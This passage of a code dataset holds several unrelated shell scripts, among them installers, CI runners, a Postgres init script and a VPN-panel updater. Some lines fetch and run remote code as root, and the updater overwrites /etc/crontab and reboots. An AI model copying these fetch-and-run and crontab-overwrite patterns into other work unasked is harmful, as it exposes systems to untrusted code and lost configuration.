zypper\"\n zypper remove python &> ${INSTALL_LOG}\n fi\n\n}\n\n\nfunction install_pip() {\n $PYTHON_PATH=$(which python) 2> /dev/null\n if [ $OPERATING_SYSTEM == \"openSUSE\" ]; then\n $PYTHON_PATH=$(which python2.7) 2>/dev/null\n fi\n curl -o /tmp/get-pip.py https://bootstrap.pypa.io/get-pip.py >> ${INSTALL_LOG} 2>&1\n if [ $? -ne 0 ]; then\n exit_with_failure \"Failed to download Pip\"\n fi\n $PYTHON_PATH /tmp/get-pip.py >> ${INSTALL_LOG} 2>&1\n if [ $? -ne 0 ]; then\n exit_with_failure \"Failed to install Pip\"\n fi\n\n rm -f /tmp/get-pip.py 2> /dev/null\n}\n\nfunction install_wavecli() {\n PIP_PATH=$(which pip)\n $PIP_PATH uninstall wavefront-cli -y >> ${INSTALL_LOG} 2>&1\n $PIP_PATH install wavefront-cli >> ${INSTALL_LOG} 2>&1\n if [ $? -ne 0 ]; then\n exit_with_failure \"Failed to install Wavefront CLI\"\n fi\n\n # Find where it was installed\n WAVE_PATH=\"/usr/local/bin/wave\"\n if [ -f \"$WAVE_PATH\" ]; then\n echo \"Wavefront CLI detected in $WAVE_PATH\"\n elif [ -f \"/usr/bin/wave\" ]; then\n echo \"Wavefront CLI detected in /usr/bin/wave\"\n WAVE_PATH=\"/usr/bin/wave\"\n else\n exit_with_failure \"Wavefront CLI not found.\"\n fi\n export WAVE_PATH\n\n}\n\n\n# main()\n\ndetect_operating_system\ncheck_if_root_or_die\n\n# Detect python\nPYTHON_PATH=$(which python)\n# If python was not installed before this script runs, uninstall it at the end.\nPYTHON_INSTALLED=false\n\nif [ -z \"$PYTHON_PATH\" ]; then\n echo \"Python is not installed. Installing Python.\"\n echo \"Python will be uninstalled automatically after installation finishes.\"\n PYTHON_INSTALLED=false\n install_python\n PYTHON_PATH=$(which python)\nelse\n PYTHON_INSTALLED=true\n echo \"Python detected in ${PYTHON_PATH}\"\nfi\n\n# Detect pip\nPIP_PATH=$(which pip)\nif [ -z \"$PIP_PATH\" ]; then\n echo \"Pip is not installed, installing Pip.\"\n install_pip\nfi\n\nif [ $OPERATING_SYSTEM == \"openSUSE\" ]; then\n echo \"Checking pip version\"\n pip_version=`pip --version`\n pip_python_version=\"python 3\"\n\n if [[ $pip_version == *$pip_python_version* ]]; then\n install_pip\n fi\nfi\n# Make sure Wavefront CLI is installed. This function will export WAVE_PATH - holds the location of the wavefront cli binary\ninstall_wavecli\n\n# Capture command line args passed to shell script in a string\ncli_args=\"\"\nfor arg in \"$@\"\ndo\n cli_args=\"$cli_args $arg\"\ndone\n\n# Run Cli installation process\n$WAVE_PATH $cli_args\n\n# Python was not installed before running this script, so remove it.\nif [ $PYTHON_INSTALLED == false ]; then\n remove_python\nfi"} {"text": "ArtiomL/docker-hello-worldtest/run.sh0\n#!/bin/bash\n\nset -xeo pipefail\n\nREPO=\"artioml/hello-world\"\n\ndocker run -dit -p 80:8080 $REPO\nsleep 3\ndocker ps -a\ncurl -s http://127.0.0.1/ | grep 'hello, world'"} {"text": "db/01-init.sh\n#!/bin/bash\nset -e\nexport PGPASSWORD=$;\npsql -v ON_ERROR_STOP=1 --username \"$POSTGRES_USER\" --dbname \"$POSTGRES_DB\" <<-EOSQL\n CREATE DATABASE $APP_DB_NAME;\n GRANT ALL PRIVILEGES ON DATABASE $APP_DB_NAME TO $POSTGRES_USER;\n \\connect $APP_DB_NAME $POSTGRES_USER\n ALTER ROLE $POSTGRES_USER SUPERUSER;\n BEGIN;\n \n CREATE EXTENSION IF NOT EXISTS \"uuid-ossp\";\n\n\nCREATE TABLE IF NOT EXISTS course (\n \"id\" uuid not null default uuid_generate_v4(),\n \"course_name\" text,\n \"course_description\" text,\n \"author_fullname\" text, \n \"author_firstname\" text , \n \"author_lastname\" text ,\n \"course_no\" serial,\n \"uts\" timestamp default current_timestamp, \n PRIMARY KEY (\"id\")\n);\n\n COMMIT;\nEOSQL"} {"text": "1-10\n#!/bin/bash -e\nsource $commons/commons.sh\n\n# install packages if need\ninstall_dependencies \"unzip\"\n\nsudo mkdir -p /etc/consul_template/ssl\nsudo mkdir -p /var/lib/consul_template/\nsudo mkdir -p /var/log/consul_template/\n\ndownload \"consul-template\" \"${APPLICATION_URL}\" /tmp/consul-template.zip\nsudo unzip /tmp/consul-template.zip -d /var/lib/consul_template/\nsudo rm /tmp/consul-template.zip"} {"text": "#\n# build config\n#\nPACKAGES=\"sys-kernel/linux-headers sys-devel/make sys-devel/binutils sys-devel/gcc\"\nKEEP_HEADERS=true\nKEEP_STATIC_LIBS=true\n# include glibc headers and static files from busybox image\nHEADERS_FROM=guruvan/glibc\nSTATIC_LIBS_FROM=guruvan/glibc\n\n#\n# this method runs in the bb builder container just before starting the build of the rootfs\n#\nconfigure_rootfs_build()\n{\n :\n}\n\n#\n# this method runs in the bb builder container just before tar'ing the rootfs\n#\nfinish_rootfs_build()\n{\n :\n}"} {"text": "#!/bin/sh\n# Openshift JBoss KIE - Controller launch script and helpers\nset -e\n\nSCRIPT_DIR=$(dirname $0)\nADDED_DIR=${SCRIPT_DIR}/added\n\n# Add custom launch script and dependent scripts/libraries/snippets\ncp -p ${ADDED_DIR}/openshift-launch.sh ${JBOSS_HOME}/bin/\nmkdir -p ${JBOSS_HOME}/bin/launch\ncp -r ${ADDED_DIR}/launch/* ${JBOSS_HOME}/bin/launch\nchmod ug+x ${JBOSS_HOME}/bin/openshift-launch.sh\n\nmkdir -p /opt/kie/dashbuilder/{imports,components}\nchown -R jboss:root /opt/kie\n\n# Necessary to permit running with a randomised UID\nfor dir in $JBOSS_HOME/bin /opt/kie; do\n chown -R jboss:root $dir\n chmod -R g+rwX $dir\ndone"} {"text": "#! /bin/sh\n\nPATH=$PATH:/opt/local/bin:/opt/local/sbin:/opt/local/share/man:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/opt/X11/bin\n\nDIR=$(cd \"$(dirname \"$0\")\"; pwd)\nDIR=$(dirname \"$DIR\")\nDIR=$(dirname \"$DIR\")\nDIR=$(dirname \"$DIR\")\nMDIR=$(dirname \"$DIR\")\n\nmkdir -p $MDIR/source/cmd\n\necho 'pcre start'\n\nif [ ! -f $MDIR/source/cmd/pcre-8.38.tar.gz ];then\n\twget -O $MDIR/source/cmd/pcre-8.38.tar.gz https://ftp.pcre.org/pub/pcre/pcre-8.38.tar.gz\nfi\n\nif [ ! -d $MDIR/source/cmd/pcre-8.38 ];then\n\tcd $MDIR/source/cmd && tar -zxvf pcre-8.38.tar.gz\nfi\n\nif [ ! -d $DIR/cmd/pcre ];then\n\ncd $MDIR/source/cmd/pcre-8.38\n./configure --prefix=$DIR/cmd/pcre --enable-utf8 && \\\nmake && make install && make clean\nfi\n\necho 'pcre end'"} {"text": "# utility command\nexport EDITOR='vim' # nanoからvimに変更\nexport VISUAL='vim' # nanoからvimに変更\nexport PAGER='less'"} {"text": "#!/bin/bash\n#Usage below\n# 1. make sure that environment Path variable must contain C:\\NXP\\bstudio_nxp\\msys\\bin in the beginning!\n# 2. ./BuildAllLights.sh \necho \"Building Lights from JN-AN-1171\"\n\nstart=$(date +\"%T\")\necho \"Start Time : $start\"\n \nif [ \"$1\" == \"JN5168\" ] || [ \"$1\" == \"JN5169\" ]; then\n make JENNIC_SDK=JN-SW-4168 JENNIC_CHIP=$1 LIGHT=Light_ColorLight clean >> BuildLog_Light_ColorLight_$1.txt &\n make JENNIC_SDK=JN-SW-4168 JENNIC_CHIP=$1 LIGHT=Light_ColorTemperatureLight clean >> BuildLog_Light_ColorTemperatureLight_$1.txt &\n make JENNIC_SDK=JN-SW-4168 JENNIC_CHIP=$1 LIGHT=Light_DimmableLight clean >> BuildLog_Light_DimmableLight_$1.txt &\n make JENNIC_SDK=JN-SW-4168 JENNIC_CHIP=$1 LIGHT=Light_DimmablePlug clean >> BuildLog_Light_DimmablePlug_$1.txt &\n make JENNIC_SDK=JN-SW-4168 JENNIC_CHIP=$1 LIGHT=Light_ExtendedColorLight clean >> BuildLog_Light_ExtendedColorLight_$1.txt &\n make JENNIC_SDK=JN-SW-4168 JENNIC_CHIP=$1 LIGHT=Light_OnOffLight clean >> BuildLog_Light_OnOffLight_$1.txt &\n make JENNIC_SDK=JN-SW-4168 JENNIC_CHIP=$1 LIGHT=Light_OnOffPlug clean >> BuildLog_Light_OnOffPlug_$1.txt &\n echo \"Cleaning; Please wait\"\n wait\n\n make JENNIC_SDK=JN-SW-4168 JENNIC_CHIP=$1 LIGHT=Light_ColorLight >> BuildLog_Light_ColorLight_$1.txt &\n make JENNIC_SDK=JN-SW-4168 JENNIC_CHIP=$1 LIGHT=Light_ColorTemperatureLight >> BuildLog_Light_ColorTemperatureLight_$1.txt &\n make JENNIC_SDK=JN-SW-4168 JENNIC_CHIP=$1 LIGHT=Light_DimmableLight >> BuildLog_Light_DimmableLight_$1.txt &\n make JENNIC_SDK=JN-SW-4168 JENNIC_CHIP=$1 LIGHT=Light_DimmablePlug >> BuildLog_Light_DimmablePlug_$1.txt &\n make JENNIC_SDK=JN-SW-4168 JENNIC_CHIP=$1 LIGHT=Light_ExtendedColorLight >> BuildLog_Light_ExtendedColorLight_$1.txt &\n make JENNIC_SDK=JN-SW-4168 JENNIC_CHIP=$1 LIGHT=Light_OnOffLight >> BuildLog_Light_OnOffLight_$1.txt &\n make JENNIC_SDK=JN-SW-4168 JENNIC_CHIP=$1 LIGHT=Light_OnOffPlug >> BuildLog_Light_OnOffPlug_$1.txt &\n echo \"Building; Please wait\"\n wait\nelse\n echo \"Usage ./BuildAllLights.sh \"\nfi\n\nend=$(date +\"%T\")\necho \"End Time : $end\"\n\necho \"Done !!!\""} {"text": "config/filter.sh\n# Configuration for heuristic CoNLL-U text filter\n\nFILTER_DATA_ROOT=\"/wrk/pyysalos/puhti-DeepFin\"\n\nFILTER_INDIR=\"$FILTER_DATA_ROOT/mtgen_out/nongenerated\"\n\nFILTER_OUT_FILTERED=\"$FILTER_DATA_ROOT/filter_out/filtered\"\n\nFILTER_OUT_NONFILTERED=\"$FILTER_DATA_ROOT/filter_out/nonfiltered\"\n\nFILTER_OPTIONS='\n--min-sents 3\n--max-sents 1000\n--avg-len 5\n--upper-ratio 0.1\n--no-word-ratio 0.2\n--punct-ratio 0.05\n--digit-ratio 0.05\n--min-toks 20\n--max-toks 10000\n--min-words 30\n--frequent-ratio 0.02\n--foreign-ratio 0.01\n--langdetect\n'"} {"text": "bin/install.sh0\n#!/bin/bash\n\n###############################################################################\n# Set variables #\n###############################################################################\n\nBIN=~/Clean-macOS/bin # shell scripts\nCONFIG=~/Clean-macOS/config # configuration files directory\nSETUP=~/Clean-macOS # root folder of Clean-macOS\n\n###############################################################################\n# Install #\n###############################################################################\n\n# Entering as Root\nprintf \"Enter root password...\\n\"\nsudo -v\n\n# Keep alive Root\nwhile true; do sudo -n true; sleep 60; kill -0 \"$$\" || exit; done 2>/dev/null &\n\n# Install Brew\nprintf \"⚙️ Check Brew...\\n\"\nif test ! $(which brew); then\n # Install Homebrew\n printf \"📦 Installing XCode CL tools...\\n\"\n xcode-select --install\n printf \"📦 Installing Homebrew...\\n\"\n ruby -e \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)\"\n # Change permissions\n brew -v\n sudo chown -R $USER /usr/local/Cellar\n # Install MAS\n printf \"📦 Installing MAS...\\n\"\n brew install mas\n # Check Brews\n brew -v update && brew -v upgrade && mas upgrade && brew -v cleanup --prune=2 && brew doctor\n # Install Homebrew apps\n printf \"📦 Installing Apps...\\n\"\n brew bundle --file=$SETUP/Brewfile\n # Install Wayback script\n printf \"📦 Installing Wayback Machine Downloader Ruby script...\\n\"\n gem install wayback_machine_downloader\n # Cleanup\n printf \"⚙️ Cleanup and final touches...\\n\"\n brew -v update && brew -v upgrade && mas upgrade && brew -v cleanup --prune=2 && brew doctor && brew -v upgrade --casks --greedy \nelse\n printf \"📦 Homebrew is already installed...\\n\"\n exit\n\nfi\n\n\n# Exit script\nexit"} {"text": "uk-gov-mirror/hmrc.feedback-frontend\n#!/bin/bash\n\necho \"Applying migration ThankYou\"\n\necho \"Adding routes to conf/app.routes\"\necho \"\" >> ../conf/app.routes\necho \"GET /thankYou controllers.ThankYouController.onPageLoad()\" >> ../conf/app.routes\n\necho \"Adding messages to conf.messages\"\necho \"\" >> ../conf/messages.en\necho \"thankYou.title = thankYou\" >> ../conf/messages.en\necho \"thankYou.heading = thankYou\" >> ../conf/messages.en\n\necho \"Migration ThankYou completed\""} {"text": "./populate.sh manifests/${dataName}.manifest /tmp/folio-conf/pg.json ${tenant}"} {"text": "lib/brew.sh0\n#!/usr/bin/env bash\n#———————————————————————————————————————————————————————————————————————————————\n# © 2016-2020 , All rights reserved. MIT License.\n# Ported from the licensed under the MIT license Project Pullulant, at\n# https://github.com/kigster/pullulant\n#———————————————————————————————————————————————————————————————————————————————\nexport LibBrew__PackageCacheList=\"/tmp/.lib_brew_packages.txt\"\nexport LibBrew__CaskCacheList=\"/tmp/.lib_brew_casks.txt\"\n\n# This function returns the sorted list of versions that are specified\n# for a given package in Brew using @, for instance: \"mysql@5.5\" or\n# postgres@9.4 etc.\nbrew.package.available-versions() {\n local package=\"$1\"\n brew search \"${package}@\" | tr -d 'a-z@A-Z =>-+' | sed '/^$/d' | sort -nr | tr '\\n' ' '\n}\n\nbrew.cache-reset() {\n rm -f ${LibBrew__PackageCacheList} ${LibBrew__CaskCacheList}\n}\n\nbrew.cache-reset.delayed() {\n ((${BASH_IN_SUBSHELL})) || brew.cache-reset\n ((${BASH_IN_SUBSHELL})) && trap \"rm -f ${LibBrew__PackageCacheList} ${LibBrew__CaskCacheList}\" EXIT\n}\n\nbrew.upgrade.packages() {\n [[ -z \"$(which brew)\" ]] || brew.install\n [[ -z $1 ]] && { \n error \"usage: brew.upgrade.packages package1 package2 ...\"\n return 1\n }\n\n run \"brew upgrade $@\"\n}\n\nbrew.upgrade() {\n brew.install\n if [[ -z \"$(which brew)\" ]]; then\n warn \"brew is not installed....\"\n return 1\n fi\n run \"brew update --force\"\n run \"brew upgrade\"\n run \"brew cleanup -s\"\n}\n\nbrew.install() {\n local brew=$(which brew 2>/dev/null)\n if [[ -z \"${brew}\" ]]; then\n info \"Installing Homebrew, please wait...\"\n /usr/bin/ruby -e \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)\"\n else\n info \"Detected Homebrew Version: ${bldylw}$(brew --version 2>/dev/null | head -1)\"\n fi\n}\n\nbrew.setup() {\n brew.upgrade\n}\n\nbrew.package.link() {\n local package=\"${1}\"\n shift\n [[ -n ${opts_verbose} ]] && verbose=\"--verbose\"\n run \"brew link ${verbose} ${package} $*\"\n}\n\nbrew.relink() {\n local package=${1}\n local verbose=\n [[ -n ${opts_verbose} ]] && verbose=\"--verbose\"\n run \"brew link ${verbose} ${package} --overwrite\"\n}\n\nbrew.package.list() {\n cache-or-command \"${LibBrew__PackageCacheList}\" 30 \"brew ls -1\"\n}\n\nbrew.cask.list() {\n cache-or-command \"${LibBrew__CaskCacheList}\" 30 \"brew cask ls -1\"\n}\n\nbrew.cask.tap() {\n run \"brew tap homebrew/cask-cask\"\n}\n\ncache-or-command() {\n local file=\"$1\"\n shift\n local stale_minutes=\"$1\"\n shift\n local command=\"$*\"\n\n file.exists-and-newer-than \"${file}\" ${stale_minutes} && {\n cat \"${file}\"\n return 0\n }\n\n cp /dev/null ${file} >/dev/null\n eval \"${command}\" | tee -a \"${file}\"\n}\n\nbrew.package.is-installed() {\n local package=\"${1}\"\n local -a installed_packages=($(brew.package.list))\n array.has-element $(basename \"${package}\") \"${installed_packages[@]}\"\n}\n\nbrew.cask.is-installed() {\n local cask=\"${1}\"\n local -a installed_casks=($(brew.cask.list))\n array.has-element $(basename \"${cask}\") \"${installed_casks[@]}\"\n}\n\nbrew.reinstall.package() {\n local package=\"${1}\"\n local force=\n local verbose=\n [[ -n ${opts_force} ]] && force=\"--force\"\n [[ -n ${opts_verbose} ]] && verbose=\"--verbose\"\n\n run \"brew unlink ${package} ${force} ${verbose}; true\"\n run \"brew uninstall ${package} ${force} ${verbose}; true\"\n run \"brew install ${package} ${force} ${verbose}\"\n run \"brew link ${package} --overwrite ${force} ${verbose}\"\n brew.cache-reset.delayed\n}\n\nbrew.install.package() {\n local package=$1\n local force=\n local verbose=\n [[ -n ${opts_force} ]] && force=\"--force\"\n [[ -n ${opts_verbose} ]] && verbose=\"--verbose\"\n\n [[ -z ${opt_terse} ]] && inf \"checking for 🍻 ${bldylw}${package}...\"\n\n if [[ $(brew.package.is-installed ${package}) == \"true\" ]]; then\n [[ -z ${opt_terse} ]] && ok:\n [[ -z ${opt_terse} ]] || printf \"${bldgrn}○ \"\n export LibRun__LastExitCode=0\n else\n if [[ -z ${opt_terse} ]]; then\n printf \" ${bldpur}${package}${txtylw} must pour.\\n${clr}\"\n run \"brew install ${package} ${force} ${verbose}\"\n else\n (brew install ${package} ${force} ${verbose}) 2>&1 | cat >/dev/null\n local code=$?\n fi\n\n [[ ${code} -eq 0 || ${LibRun__LastExitCode} -eq 0 ]] || {\n brew.reinstall.package \"${package}\"\n }\n\n brew.cache-reset.delayed\n export LibRun__LastExitCode=0\n\n if [[ $(brew.package.is-installed ${package}) == \"true\" ]]; then\n [[ -n ${opt_terse} ]] && printf \"\\n🟢 \"\n else\n [[ -n ${opt_terse} ]] && printf \"\\n🔴 \"\n export LibRun__LastExitCode=1\n fi\n fi\n\n return ${LibRun__LastExitCode}\n}\n\nbrew.install.cask() {\n local cask=$1\n local force=\n local verbose=\n\n [[ -n ${opts_force} ]] && force=\"--force\"\n [[ -n ${opts_verbose} ]] && verbose=\"--verbose\"\n\n inf \"verifying brew cask ${bldylw}${cask}\"\n if [[ -n $(ls -al /Applications/*.app | grep -i ${cask}) && -z ${opts_force} ]]; then\n ui.closer.ok:\n elif [[ $(brew.cask.is-installed ${cask}) == \"true\" ]]; then\n ui.closer.ok:\n return 0\n else\n ui.closer.kind-of-ok:\n run \"brew cask install ${cask} ${force} ${verbose}\"\n fi\n\n brew.cache-reset.delayed\n}\n\nbrew.uninstall.package() {\n local package=$1\n local force=\n local verbose=\n\n [[ -n ${opts_force} ]] && force=\"--force\"\n [[ -n ${opts_verbose} ]] && verbose=\"--verbose\"\n\n export LibRun__AbortOnError=${False}\n run \"brew unlink ${package} ${force} ${verbose}\"\n\n export LibRun__AbortOnError=${False}\n run \"brew uninstall ${package} ${force} ${verbose}\"\n\n brew.cache-reset.delayed\n}\n\n# set $opts_verbose to see more output\n# set $opts_force to true to force it\n\nbrew.install.packages() {\n local force=\n [[ -n ${opts_force} ]] && force=\"--force\"\n\n for package in \"$@\"; do\n brew.install.package \"${package}\"\n done\n}\n\nbrew.reinstall.packages() {\n local force=\n [[ -n ${opts_force} ]] && force=\"--force\"\n\n for package in \"$@\"; do\n brew.uninstall.package \"${package}\"\n brew.install.package \"${package}\"\n done\n}\n\nbrew.uninstall.packages() {\n local force=\n [[ -n ${opts_force} ]] && force=\"--force\"\n\n for package in $@; do\n brew.uninstall.package ${package}\n done\n}\n\nbrew.service.up() {\n local svc=\"$1\"\n run \"brew services start ${svc}\"\n}\n\nbrew.service.down() {\n local svc=\"$1\"\n run \"brew services stop ${svc}\"\n}\n\nbrew.service.restart() {\n local svc=\"$1\"\n run \"brew services restart ${svc}\"\n}"} {"text": "update-1.2.sh\n#!/bin/bash\nif [ \"${EUID}\" -ne 0 ]; then\n\t\techo \"You need to run this script as root\"\n\t\texit 1\nfi\nif [ \"$(systemd-detect-virt)\" == \"openvz\" ]; then\n\t\techo \"OpenVZ is not supported\"\n\t\texit 1\nfi\nred='\\e[1;31m'\ngreen='\\e[0;32m'\nNC='\\e[0m'\nMYIP=$(wget -qO- ifconfig.co);\n\n# Validate Version Script\nversi=$(cat /home/ver)\nif [[ $versi == 1.2 ]]; then\necho \"Automatical Update In 3s\"\nsleep 3\nelse \nexit 0\nfi\necho \"Start Update\"\ncd /usr/bin\nwget -O menu \"https://raw.githubusercontent.com/angahpadu/angahshop786/main/menu.sh\"\nwget -O add-host \"https://raw.githubusercontent.com/angahpadu/angahshop786/main/add-host.sh\"\nwget -O addd-ssh \"https://raw.githubusercontent.com/angahpadu/angahshop786/main/add-ssh.sh\"\nwget -O trial-ssh \"https://raw.githubusercontent.com/angahpadu/angahshop786/main/trial-ssh.sh\"\nwget -O change-port \"https://raw.githubusercontent.com/angahpadu/angahshop786/main/change.sh\"\nwget -O port-ovpn \"https://raw.githubusercontent.com/angahpadu/angahshop786/main/port-ovpn.sh\"\nwget -O port-ssl \"https://raw.githubusercontent.com/angahpadu/angahshop786/main/port-ssl.sh\"\nwget -O port-wg \"https://raw.githubusercontent.com/angahpadu/angahshop786/main/port-wg.sh\"\nwget -O port-tr \"https://raw.githubusercontent.com/angahpadu/angahshop786/main/port-tr.sh\"\nwget -O port-squid \"https://raw.githubusercontent.com/angahpadu/angahshop786/main/port-squid.sh\"\nwget -O port-ws \"https://raw.githubusercontent.com/angahpadu/angahshop786/main/port-ws.sh\"\nwget -O port-vless \"https://raw.githubusercontent.com/angahpadu/angahshop786/main/port-vless.sh\"\nwget -O webmin \"https://raw.githubusercontent.com/angahpadu/angahshop786/main/webmin.sh\"\nwget -O xp \"https://raw.githubusercontent.com/angahpadu/angahshop786/main/xp.sh\"\nwget -O speed-limiter \"https://raw.githubusercontent.com/angahpadu/angahshop786/main/speed-limiter.sh\"\nwget -O add-ws \"https://raw.githubusercontent.com/angahpadu/angahshop786/main/add-ws.sh\"\nwget -O add-vless \"https://raw.githubusercontent.com/angahpadu/angahshop786/main/add-vless.sh\"\nwget -O add-tr \"https://raw.githubusercontent.com/angahpadu/angahshop786/main/add-tr.sh\"\nwget -O update \"https://raw.githubusercontent.com/angahpadu/angahshop786/main/update-1.2.sh\"\nchmod +x change-port\nchmod +x add-host\nchmod +x port-ovpn\nchmod +x port-ssl\nchmod +x port-wg\nchmod +x port-tr\nchmod +x port-squid\nchmod +x port-ws\nchmod +x port-vless\nchmod +x webmin\nchmod +x xp\nchmod +x speed-limiter\nchmod +x update\necho \"0 5 * * * root clear-log && reboot\" > /etc/crontab\necho \"0 0 * * * root xp\" > /etc/crontab\ncd\necho \"1.3\" > /home/ver\nclear\necho \" Fix minor Bugs\"\necho \" Now You Can Change Port Of Some Services\"\necho \" Reboot 3 Sec\"\nsleep 3\nrm -f update.sh\nreboot"} {"text": "#!/bin/bash\n# Attention, there is no \"-x\" to avoid problems on Wercker\nset -e\n\nfunction checkout_from {\n CLONE_URL=$1\n PROJECT=$(echo \"$CLONE_URL\" | sed -nE 's/.*\\/(.*).git/\\1/p')\n mkdir -p .ci-temp\n cd .ci-temp\n if [ -d \"$PROJECT\" ]; then\n echo \"Target project $PROJECT is already cloned, latest changes will be fetched\"\n cd $PROJECT\n git fetch\n cd ../\n else\n for i in 1 2 3 4 5; do git clone $CLONE_URL && break || sleep 15; done\n fi\n cd ../\n}\n\ncase $1 in\n\nno-error-pgjdbc)\n CS_POM_VERSION=$(mvn -e -q -Dexec.executable='echo' -Dexec.args='${project.version}' \\\n --non-recursive org.codehaus.mojo:exec-maven-plugin:1.3.1:exec)\n echo CS_version: ${CS_POM_VERSION}\n checkout_from https://github.com/pgjdbc/pgjdbc.git\n cd .ci-temp/pgjdbc/pgjdbc\n mvn -e checkstyle:check -Dcheckstyle.version=${CS_POM_VERSION}\n cd ../../\n rm -rf pgjdbc\n ;;\n\nno-error-orekit)\n CS_POM_VERSION=$(mvn -e -q -Dexec.executable='echo' -Dexec.args='${project.version}' \\\n --non-recursive org.codehaus.mojo:exec-maven-plugin:1.3.1:exec)\n echo CS_version: ${CS_POM_VERSION}\n checkout_from https://github.com/CS-SI/Orekit.git\n cd .ci-temp/Orekit\n # no CI is enforced in project, so to make our build stable we should\n # checkout to latest release (annotated tag)\n #git checkout $(git describe --abbrev=0 --tags)\n # Orekit use 'develop' branch as target for PullRequest merges, where all our breaking changes\n # of 8.2 and above are applied\n #git checkout develop\n # due to temporal compilation problems(20180522) we use latest commit where compilation pass\n git checkout 9862be9\n mvn -e compile checkstyle:check -Dorekit.checkstyle.version=${CS_POM_VERSION}\n cd ../\n rm -rf Orekit\n ;;\n\nno-error-xwiki)\n CS_POM_VERSION=$(mvn -e -q -Dexec.executable='echo' -Dexec.args='${project.version}' \\\n --non-recursive org.codehaus.mojo:exec-maven-plugin:1.3.1:exec)\n echo CS_version: ${CS_POM_VERSION}\n # till https://github.com/xwiki/xwiki-commons/pull/39\n checkout_from https://github.com/checkstyle/xwiki-commons.git\n cd .ci-temp/xwiki-commons\n # till https://github.com/xwiki/xwiki-commons/pull/39\n git checkout i5812-rename-util\n mvn -f xwiki-commons-tools/xwiki-commons-tool-verification-resources/pom.xml \\\n install -DskipTests -Dcheckstyle.version=${CS_POM_VERSION}\n mvn -e test-compile checkstyle:check -Dcheckstyle.version=${CS_POM_VERSION}\n cd ../../\n rm -rf xwiki-commons\n ;;\n\nno-error-apex-core)\n CS_POM_VERSION=$(mvn -e -q -Dexec.executable='echo' -Dexec.args='${project.version}' \\\n --non-recursive org.codehaus.mojo:exec-maven-plugin:1.3.1:exec)\n echo CS_version: ${CS_POM_VERSION}\n checkout_from https://github.com/apache/incubator-apex-core.git\n cd .ci-temp/incubator-apex-core\n mvn -e compile checkstyle:check -Dcheckstyle.version=${CS_POM_VERSION}\n cd ../\n rm -rf incubator-apex-core\n ;;\n\nno-error-hibernate-search)\n CS_POM_VERSION=$(mvn -e -q -Dexec.executable='echo' -Dexec.args='${project.version}' \\\n --non-recursive org.codehaus.mojo:exec-maven-plugin:1.3.1:exec)\n echo CS_version: ${CS_POM_VERSION}\n checkout_from https://github.com/hibernate/hibernate-search.git\n cd .ci-temp/hibernate-search\n mvn -e clean install -DskipTests=true -Dtest.elasticsearch.host.provided=true \\\n -Dcheckstyle.skip=true -Dforbiddenapis.skip=true \\\n -Dpuppycrawl.checkstyle.version=${CS_POM_VERSION}\n mvn -e checkstyle:check -Dpuppycrawl.checkstyle.version=${CS_POM_VERSION}\n cd ../\n rm -rf hibernate-search\n ;;\n\nno-error-htmlunit)\n CS_POM_VERSION=$(mvn -e -q -Dexec.executable='echo' -Dexec.args='${project.version}' \\\n --non-recursive org.codehaus.mojo:exec-maven-plugin:1.3.1:exec)\n echo CS_version: ${CS_POM_VERSION}\n echo \"checkouting project sources ...\"\n svn -q export https://svn.code.sf.net/p/htmlunit/code/trunk/htmlunit@r14923 htmlunit\n cd htmlunit\n sed -i \"s/ 2.28-SNAPSHOT/ 2.28-20171106.080245-12/\" pom.xml\n echo \"Running checkstyle validation ...\"\n mvn -e compile checkstyle:check -Dcheckstyle.version=${CS_POM_VERSION}\n cd ../\n rm -rf htmlunit\n ;;\n\nno-error-checkstyles-sevntu)\n set -e\n CS_POM_VERSION=$(mvn -e -q -Dexec.executable='echo' -Dexec.args='${project.version}' \\\n --non-recursive org.codehaus.mojo:exec-maven-plugin:1.3.1:exec)\n echo CS_version: ${CS_POM_VERSION}\n mvn -e compile verify -Dmaven.sevntu-checkstyle-check.checkstyle.version=${CS_POM_VERSION} \\\n -Dmaven.test.skip=true -Dcheckstyle.ant.skip=true -Dpmd.skip=true -Dspotbugs.skip=true \\\n -Djacoco.skip=true -Dforbiddenapis.skip=true -Dxml.skip=true\n ;;\n\nno-error-sevntu-checks)\n set -e\n CS_POM_VERSION=$(mvn -e -q -Dexec.executable='echo' -Dexec.args='${project.version}' \\\n --non-recursive org.codehaus.mojo:exec-maven-plugin:1.3.1:exec)\n echo CS_version: ${CS_POM_VERSION}\n checkout_from https://github.com/sevntu-checkstyle/sevntu.checkstyle.git\n cd .ci-temp/sevntu.checkstyle/sevntu-checks\n mvn -e -Pno-validations verify -Dcheckstyle.skip=false -Dcheckstyle.version=${CS_POM_VERSION} \\\n -Dcheckstyle.configLocation=../../config/checkstyle_checks.xml\n cd ../../\n rm -rf sevntu.checkstyle\n ;;\n\nno-error-strata)\n set -e\n CS_POM_VERSION=$(mvn -e -q -Dexec.executable='echo' -Dexec.args='${project.version}' \\\n --non-recursive org.codehaus.mojo:exec-maven-plugin:1.3.1:exec)\n echo CS_version: ${CS_POM_VERSION}\n checkout_from https://github.com/OpenGamma/Strata.git\n cd .ci-temp/Strata\n mvn install -e -B -Dstrict -DskipTests \\\n -Dforbiddenapis.skip=true -Dcheckstyle.version=${CS_POM_VERSION}\n cd ../\n rm -rf Strata\n ;;\n\nno-exception-struts)\n CS_POM_VERSION=$(mvn -e -q -Dexec.executable='echo' -Dexec.args='${project.version}' \\\n --non-recursive org.codehaus.mojo:exec-maven-plugin:1.3.1:exec)\n echo CS_version: ${CS_POM_VERSION}\n checkout_from https://github.com/checkstyle/contribution.git\n cd .ci-temp/contribution/checkstyle-tester\n sed -i'' 's/^guava/#guava/' projects-for-wercker.properties\n sed -i'' 's/#apache-struts/apache-struts/' projects-for-wercker.properties\n groovy ./launch.groovy --listOfProjects projects-for-wercker.properties \\\n --config checks-nonjavadoc-error.xml --checkstyleVersion ${CS_POM_VERSION}\n cd ../../\n rm -rf contribution\n ;;\n\nno-exception-checkstyle-sevntu)\n set -e\n CS_POM_VERSION=$(mvn -e -q -Dexec.executable='echo' -Dexec.args='${project.version}' \\\n --non-recursive org.codehaus.mojo:exec-maven-plugin:1.3.1:exec)\n echo CS_version: ${CS_POM_VERSION}\n checkout_from https://github.com/checkstyle/contribution.git\n cd .ci-temp/contribution/checkstyle-tester\n sed -i'' 's/^guava/#guava/' projects-for-wercker.properties\n sed -i'' 's/#checkstyle/checkstyle/' projects-for-wercker.properties\n sed -i'' 's/#sevntu-checkstyle/sevntu-checkstyle/' projects-for-wercker.properties\n groovy 